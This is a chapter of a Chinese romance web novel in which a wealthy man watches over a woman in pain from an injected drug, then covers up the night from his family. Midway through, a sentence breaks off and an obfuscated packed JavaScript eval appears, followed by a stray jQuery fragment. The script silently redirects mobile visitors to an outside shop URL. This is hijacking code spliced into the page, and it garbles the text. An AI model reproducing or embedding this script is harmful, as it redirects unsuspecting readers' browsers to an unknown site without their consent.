保镖离开后,卧室里只剩下两个人,落地灯发出微弱的白光,呈现弯钩的形状,立在窗边,如私藏的朦胧月牙。
晚风掠过窗棂,吹起窗纱,厚重的纱摆拂过玻璃,沙沙作响。
苏承叶坐在床边,身体倾斜倚靠在床头上,长臂环着躺在床上的女人,他垂下眼眸看着她,眉心拧紧。
只过了三分钟,他便开始急躁,抬头看向门口。
医生怎么还没到?
姜品糖并没有睡过去,仿佛沉浸在某个痛苦的幻境之中,她无法感知外界的一切,周身的疼痛不停的侵蚀着她的大脑。
她梦到谁了,苏承叶微微低下头,贴近她的唇边,清晰的听到一句微弱的话。
“大哥哥......”
苏承叶脸色一黑,她只有一个同胞弟弟,哪儿来的哥哥?
他的眸色一下变得阴冷,环着她的身体的手臂青筋暴起,手腕压下,大手紧紧的扶住她的腰身。
医生从外面推门进来,一眼便看到苏承叶阴沉冷冽的面庞,快步走上前,背后一阵凉意。
“苏先生,我来迟了。”
他还在睡梦中被闯入家中的两个保镖拉起来,连睡衣也没有让他换,架着他往外走,就说苏先生请他过去。
这是请人的态度吗?
他好歹还顺手拿上出诊用的药箱,脚下赶着月色,匆匆来到,直到来到苏承叶面前,他的脑袋才清醒些,困意全无。
“看看她。”
苏承叶沉声说话,欲要起身给医生让出一个位置,手臂却被床上的女孩压在怀里,她似是受了惊,额头上又冒出一层细汗。
“就这样看吧。”
医生恭敬的站在一旁,点点头,别扭的隔着苏承叶的身体为床上的女孩诊断。
他扎破女孩的手指,挤出一滴血,这点疼痛对此刻被药剂折磨的欲要晕厥的姜品糖来说,压根感觉不到。
苏承叶凝视着她食指上的血珠,眸色格外漆黑,目光始终落在她的身上,随着医生的动作移动,带有监视的意味。
三分钟后,医生收起诊断用的工具,被盯得早已头皮发麻,看向身边的男人说道。
“不要紧,只是米沸达林。”
苏承叶敛眸,脸色稍沉,说道。
“她刚才浑身疼的厉害。”
“不要紧?”
最后一句话,像是锋利的刀剑,穿过漫天大雪,直逼人的心脏二寸。
医生立刻明白他的意思,换了口吻,一脸严肃的说道。
“要紧,要紧的。”
“我马上给她打止痛针。”
米沸达林是常见的引起骨头和血肉疼痛的药物,一般是用来给肌肉萎缩或者是身患无痛症的人使用,达到刺激神经的作用。
普通人被注射这种药物,只是会间接性的浑身疼痛,约莫要疼几个小时,等药物在身体内完全失效,自然就没事了。
也不需要治疗,只是需要忍痛。
苏承叶轻应一声,目光只在医生身上停留片刻,又回到了床上。
姜品糖嘴里嗯哼着,呢喃说什么,侧身蜷缩着,两只手环抱着他的手臂,压在身下。
他任由她抱紧,只是这个动作,让他的手不得不触碰到某个柔软的位置,昏暗处,他的眼角渐渐发红,呼吸变得粗重了些。
活受罪。
他和她今晚都是如此。
蹲在地上穿着一身睡衣翻找药箱的医生,缓缓站起来,一脸的歉意。
“不好意思,苏先生,止痛针落在家里了。”
“我这就回去取。”
医生害怕的看苏承叶一眼,攥着药箱的手指微微颤抖,难以想象,他一个私立医院的院长也会窘迫成这个样子。
“去。”
苏承叶冷冷的扫他一眼,大手一下一下的摸着女孩的脑袋,惜字如金。
医生拔腿就跑,走到门口转身说道。
“苏先生,如果病人又疼,可以给她嘴里塞一个消毒纱布,防止她咬伤自己的舌头。”
苏承叶看向桌边,干净的大理石桌面,只放着两个东西,一个粉色未拆的信封和一卷厚厚的消毒纱布。
他什么话也没说,只是淡淡的看了一眼怀中女孩的脸庞。
医生认为他一定听到了,尽管没有等到苏先生应声,他也转身走了出去。
在被注射米沸达林的患者中,有很多会咬伤自己,护士会选择性的给他们提供消毒纱布,让他们不至于把自己的舌头咬断。
不过,这种事情并不常发生,他出言提醒,是因为看出这女孩对苏先生很重要,他多嘱咐几句,在苏先生面前也能卖个好。
墙上的钟表滴答滴答,不知过了多久。
苏承叶保持一个姿势坐在床边,被压着的手微微泛白,听到奇怪哼声,他黑眸突然一沉,抽出手,摸上姜品糖的脸颊。
“别咬,松嘴。”
他扣住她的下颚,迫使她把嘴巴张开,看见口中泛着血丝。
姜品糖头痛欲裂,浑身就好像被刀子一层层划开血肉,她只有咬住舌头的时候,才能缓解半分疼痛。
两腮被人掐着,她不愿意,伸出手想要去打掉那只钳着自己下颚的大手,却被攥住了手腕。
“听话。”
耳边轻柔的声音,带着一种莫名的威慑力。
她不动手,拧着眉头,闭着眼眸,吃痛的喊出声。
“我疼.....”
她微微张开的嘴巴,牙齿上沾着丝丝血迹,口中一股金属生锈的味道。
她此刻完全感觉不到舌头上的疼,正因如此,才会极有可能在情急之下咬掉自己的舌头。
苏承叶眉头皱着,唇线也抿的很直,松开钳住她的两腮的手,她柔软的腮上已经多了两个微红的指印。
姜品糖鼓了一下腮,紧接着疼痛感再次袭来,她下意识闭上嘴巴咬下去,啊呜一口。
“嘶。”
喊出声的却不是她,而是面前的苏承叶。
苏承叶的手背被她重重的咬着,毫无收敛松嘴的意思,她完全不知道自己嘴巴里咬着的是什么,只知道这样可以让身上的疼痛减轻。
“牙真硬。”
苏承叶用另一只手轻拍了一下她的脑袋,声音冷冷的,眼神却无比的炙热。
保镖从外面跑进来,看到眼前的一幕,惊掉下巴。
床上的两人,男人坐在床边,一只手扶着女人的后背,女人身上卷着被子,后背被汗水浸湿,薄薄的布料贴在身上,勾勒出玲珑的曲线。
女人紧闭双眼,慵懒的趴在他的身上,张嘴咬着他的手背,卧室里安神香气夹杂着血腥味,诡异非常。
保镖不敢上前,攥着未挂断的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283614|151960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机,默默退出去,说道。
“董事长,苏先生已经......已经睡下了。”
他擅长搏斗,却不擅长撒谎,心虚的声音早就把他出卖了,特别是在苏清婉这种极为敏感的人面前,是真是假,她立刻就能反应过来。
紧接着,便是嘟嘟的声音,电话被挂断了。
苏清婉用不着跟一个保镖多说什么,她只需去逼问陈白,断了那小子的生活费,自然就知道今晚跟苏承叶待在一起的女人是谁了。
保镖刚从房间里出来,医生便着急忙慌的提着药箱从电梯里走出来,他身上已经换了一套衣服,单手整了整自己的领带,推开公寓的门径直走进去。
他快步走到床边,手里拿着止痛针,准备给床上的女人打针,却看到她面色正常,趴在男人的怀里酣然入睡,双手勾着苏先生的脖子,嘴边噙着一滴鲜艳的血。
“苏,苏先生,您的手!”
他惊呼一声,被苏承叶抬头瞪了一眼。
医生闭紧嘴,呆立在一旁不知该如何是好,默默的低下头。
看来这里并不需要止痛针剂了,病人有自己的“止痛针”。
苏承叶不动声色的扫一眼自己的手背,两排小巧的牙印,牙印凹陷处皮肤被磨破,冒出几滴鲜红的血珠,跟白皙的肤色形成鲜明的对比。
他轻轻托起靠在自己胸前的脑袋,让怀里的女人平躺在床上,又拽过被子给她盖好,这才站起身来,往外走,眼神示意医生一同出去。
“今晚的事,我不希望被人知道。”
“是,苏先生,我明白。”
医生恭敬的跟在他身后,眼睁睁的看着他不紧不慢的拿起桌子上的消毒纱布,系在自己的手背上,动作熟练,包扎的很好,完全不输专业的医疗人员。
苏承叶包扎好手背上的咬伤,眼神漆黑冷静,抬起眼皮看向医生,语气平淡的说道。
“出去吧,让外面的人进来。”
医生瞥了一眼卧室紧闭的门,放慢脚步,悄无声息的走出去,紧接着守在门外的保镖走进来,他脚下飞快,皮鞋擦过地板发出响动。
“苏先生!”
“刚才董事长来电话了......”
苏承叶衬衣西裤,周身清冷,高大的身体背靠着大理石桌,系着纱布的大手夹着一根点燃的香烟,昏暗的环境里一点猩红闪烁。
他背对着保镖,淡淡开口。
“我知道了。”
保镖站定在他身后不远处,低低出声问道。
“您要不要给董事长回个电话?”
“董事长今晚好像很生气。”
苏承叶掐灭手中的烟,转过身,俊美的模样隐晦暗沉,眼尾丝丝深思的意味。
“不必。”
“今晚的事情,她什么都不会查到。”
保镖点点头,既然苏先生发话了,那董事长那边就不必回信了,他们只当今晚什么都没有发生过。
他离开的时候,余光瞥见自家先生手背上的伤,眉头一皱。
明天是周日,必须要回老宅一趟,先生的伤,万一被老太爷和董事长看见,今晚这位小姐的存在可就瞒不住了。
他以为苏先生会想法子遮挡伤口,殊不知,苏承叶压根就没想着明天回老宅,他有一千万个理由,可以不回去,手背伤没那么见不得人,不必遮掩。